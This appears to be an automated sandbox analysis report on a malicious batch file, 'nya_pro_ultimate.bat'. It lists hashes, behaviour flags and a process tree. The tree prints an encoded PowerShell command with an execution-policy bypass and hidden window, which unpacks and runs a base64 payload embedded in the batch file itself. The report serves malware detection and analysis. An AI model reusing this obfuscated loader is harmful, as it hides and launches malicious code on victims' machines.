8cf8be4545bbfb1fe8c3c86858a6980cbca8d076997937f9a275a9b51ac9790c

Analysis

max time kernel
36s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
11/07/2026, 05:16

Target
nya_pro_ultimate.bat
Size 4.6MB
Sample260711-fyccfaet3x
SHA256 8cf8be4545bbfb1fe8c3c86858a6980cbca8d076997937f9a275a9b51ac9790c
MD5 a55a809104043ee4c6bb7f9430423e22
SHA1 31ad7d86a56aad727ddc0779555020b1d6de5b11
SHA512 7d6c167aea15dcf6ff2e1ff5cfd4e9e47a1a066320e04e48908e08d95af0cf59776d0cddd1c9d288aa326f1ac7003083395e7df85549e5b7a995571f78f79cd4
SSDEEP 49152:mgP9uV7zOzeY0TmK/8LSwViV7IhxHrQSQtXabGszW40IBLij82QSUH9MM:Z
TLSH
T1D72602028598FF25CB98315850FE0E0B67984AC960D56FD79BE6BC8A7A4FD0111EFF84
MD5 SHA1 SHA512 SSDEEP TLSH

Score

1^/10

Suspicious behavior: EnumeratesProcesses 5 IoCs

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1656 wrote to memory of 3984	1656	cmd.exe	82

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\nya_pro_ultimate.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ep Bypass -wi h -enc JABkAGsAcwB0AE0AZQA9AGcAYwAgACQAZQBuAHYAOgBhAGMAWgBrAGkAZwBZADIAUQB4AE4AOAAgAC0AUgBhAHcAOwAkAEgAMwBkADQATQBYAD0AJwA6ADoARgA2AFoAWgBWAFQAQgAxAGUARwAxAGMAOgA6ACcAOwAkAGwAbABTAFYANwBjAD0AJABkAGsAcwB0AE0AZQAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABkAGsAcwB0AE0AZQAuAEkAbgBkAGUAeABPAGYAKAAkAEgAMwBkADQATQBYACkAKwAkAEgAMwBkADQATQBYAC4ATABlAG4AZwB0AGgAKQAuAFQAcgBpAG0AKAApADsAJABMAHAAeQBZADAASQA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAbABsAFMAVgA3AGMAKQApADsALgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAJABMAHAAeQBZADAASQApACkA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3984

__PSScriptPolicyTest_imqcicc1.kfr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_imqcicc1.kfr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3984-0-0x0000022E22AC0000-0x0000022E22AD0000-memory.dmp

Download

memory/3984-6-0x0000022E22980000-0x0000022E229A2000-memory.dmp

Download

memory/3984-8-0x0000022E22AC0000-0x0000022E22AD0000-memory.dmp

Download